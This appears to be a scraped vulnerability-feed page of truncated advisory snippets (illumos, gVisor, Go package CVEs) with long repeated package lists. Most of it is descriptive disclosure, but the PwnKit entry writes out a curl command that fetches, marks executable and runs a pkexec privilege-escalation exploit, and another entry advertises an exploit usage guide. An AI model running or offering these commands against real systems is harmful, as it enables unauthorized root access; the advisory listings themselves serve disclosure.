CVE-2026-102916

A reachable assertion in the illumos bhyve instruction emulator allows a guest to panic the host. When emulating a REP-prefixed MOVS or STOS instruction that accesses guest MMIO, vieemulatemovs and vieemulatestos in usr/src/uts/intel/io/vmm/vmminstructionemul.c do not clear the VIESREPEAT status...

copyfail

Copy Fail CVE-2026-31431 – Exploit Usage Guide Original Readme taken from @painoob All Kernel versions since 2017 / 2016 are vulnerable ! Kernel 7 is fully immune, others between 5-7 may still be vulnerable ⚠️ Disclaimer This content is for educational and authorized security testing purposes only...

PwnKit-CVE-2021-4034

PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation Exploit Manually curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command Patched Running the exploit...

GO-2026-6610 vulnerabilities

Vulnerabilities for packages: jupyterhub-k8s-image-awaiter-fips, opentelemetry-go-instrumentation, cortex, envoy-ai-gateway-fips, crossplane-provider-aws-appautoscaling-fips, crossplane-provider-keycloak, crossplane-provider-azure-servicelinker, longhorn-backing-image-manager-fips,...

CVE-2026-78669 vulnerabilities

Vulnerabilities for packages: jupyterhub-k8s-image-awaiter-fips, opentelemetry-go-instrumentation, cortex, envoy-ai-gateway-fips, crossplane-provider-aws-appautoscaling-fips, crossplane-provider-keycloak, crossplane-provider-azure-servicelinker, longhorn-backing-image-manager-fips,...

GO-2026-6603 vulnerabilities

Vulnerabilities for packages: jupyterhub-k8s-image-awaiter-fips, opentelemetry-go-instrumentation, cortex, envoy-ai-gateway-fips, crossplane-provider-aws-appautoscaling-fips, crossplane-provider-keycloak, crossplane-provider-azure-servicelinker, longhorn-backing-image-manager-fips,...

GO-2026-6612 vulnerabilities

Vulnerabilities for packages: opentelemetry-go-instrumentation, cortex, envoy-ai-gateway-fips, crossplane-provider-aws-appautoscaling-fips, crossplane-provider-keycloak, crossplane-provider-azure-servicelinker, longhorn-backing-image-manager-fips, crossplane-provider-aws-appintegrations,...

GO-2026-6611 vulnerabilities

Vulnerabilities for packages: jupyterhub-k8s-image-awaiter-fips, opentelemetry-go-instrumentation, cortex, envoy-ai-gateway-fips, crossplane-provider-aws-appautoscaling-fips, crossplane-provider-keycloak, crossplane-provider-azure-servicelinker, longhorn-backing-image-manager-fips,...

GO-2026-6617 vulnerabilities

Vulnerabilities for packages: jupyterhub-k8s-image-awaiter-fips, opentelemetry-go-instrumentation, cortex, envoy-ai-gateway-fips, crossplane-provider-aws-appautoscaling-fips, crossplane-provider-keycloak, crossplane-provider-azure-servicelinker, longhorn-backing-image-manager-fips,...

CVE-2026-78659 vulnerabilities

Vulnerabilities for packages: terraform-provider-time, grpc-health-probe, external-secrets-operator, pluto, steampipe, kubescape, zot, sftpgo-plugin-kms, jaeger, ksops, crossplane-provider-aws-sqs, k8sgpt, kyverno-policy-reporter-ui, rancher-agent, skaffold, pulumi, tkn, terraform-docs,...

CVE-2026-78663 vulnerabilities

Vulnerabilities for packages: terraform-provider-time, grpc-health-probe, external-secrets-operator, pluto, steampipe, kubescape, zot, sftpgo-plugin-kms, jaeger, ksops, crossplane-provider-aws-sqs, k8sgpt, kyverno-policy-reporter-ui, rancher-agent, skaffold, pulumi, tkn, terraform-docs, tflint,...

GO-2026-6610 vulnerabilities

Vulnerabilities for packages: external-secrets-operator, pluto, steampipe, kubescape, zot, sftpgo-plugin-kms, ksops, crossplane-provider-aws-sqs, k8sgpt, kyverno-policy-reporter-ui, rancher-agent, skaffold, tkn, newrelic-fluent-bit-output, tflint, terraform-provider-acme, zarf, opentofu,...

GO-2026-6603 vulnerabilities

Vulnerabilities for packages: terraform-provider-time, grpc-health-probe, external-secrets-operator, pluto, steampipe, kubescape, zot, sftpgo-plugin-kms, jaeger, ksops, crossplane-provider-aws-sqs, k8sgpt, kyverno-policy-reporter-ui, rancher-agent, skaffold, pulumi, tkn, terraform-docs,...

GO-2026-6612 vulnerabilities

Vulnerabilities for packages: terraform-provider-time, grpc-health-probe, external-secrets-operator, pluto, steampipe, kubescape, zot, sftpgo-plugin-kms, jaeger, ksops, crossplane-provider-aws-sqs, k8sgpt, kyverno-policy-reporter-ui, rancher-agent, skaffold, pulumi, tkn, terraform-docs, tflint,...

CVE-2026-97032 vulnerabilities

Vulnerabilities for packages: terraform-provider-time, grpc-health-probe, external-secrets-operator, pluto, steampipe, kubescape, zot, sftpgo-plugin-kms, jaeger, ksops, crossplane-provider-aws-sqs, k8sgpt, kyverno-policy-reporter-ui, rancher-agent, skaffold, pulumi, tkn, terraform-docs,...

GO-2026-6617 vulnerabilities

Vulnerabilities for packages: terraform-provider-time, grpc-health-probe, external-secrets-operator, pluto, steampipe, kubescape, zot, sftpgo-plugin-kms, jaeger, ksops, crossplane-provider-aws-sqs, k8sgpt, kyverno-policy-reporter-ui, rancher-agent, skaffold, pulumi, tkn, terraform-docs,...

CVE-2026-95702 Code Execution in Host Sentry Process via Double Free in gVisor VFS MemoryFile

Use-after-free vulnerability in VFS in Google gVisor prior to release 20260831.0 on all platforms allows a local attacker with standard container privileges to achieve code execution in the host sentry process by double-freeing the backing MemoryFile from an in-sandbox overlay filesystem. The...

CVE-2026-95702

Use-after-free vulnerability in VFS in Google gVisor prior to release 20260831.0 on all platforms allows a local attacker with standard container privileges to achieve code execution in the host sentry process by double-freeing the backing MemoryFile from an in-sandbox overlay filesystem. The...

CVE-2026-104115

The illumos reparse point daemon (reparsed ) is vulnerable to a stack-based buffer overflow in the nfs-basic reparse plugin . The get_fs_locations() function in libnfs_basic.c fails to perform bounds checking when copying host and path components of a reparse string into a fixed 1024-byte stack b...

CVE-2026-104115 Stack buffer overflow in illumos reparsed nfs-basic plugin allows local users to crash the daemon

A stack-based buffer overflow in the illumos reparse point daemon reparsed allows a local user to crash the daemon. getfslocations in usr/src/cmd/fs.d/nfs/rpbasic/libnfsbasic.c, part of the nfs-basic reparse plugin, copies the host and path components of a reparse string into a fixed 1024-byte...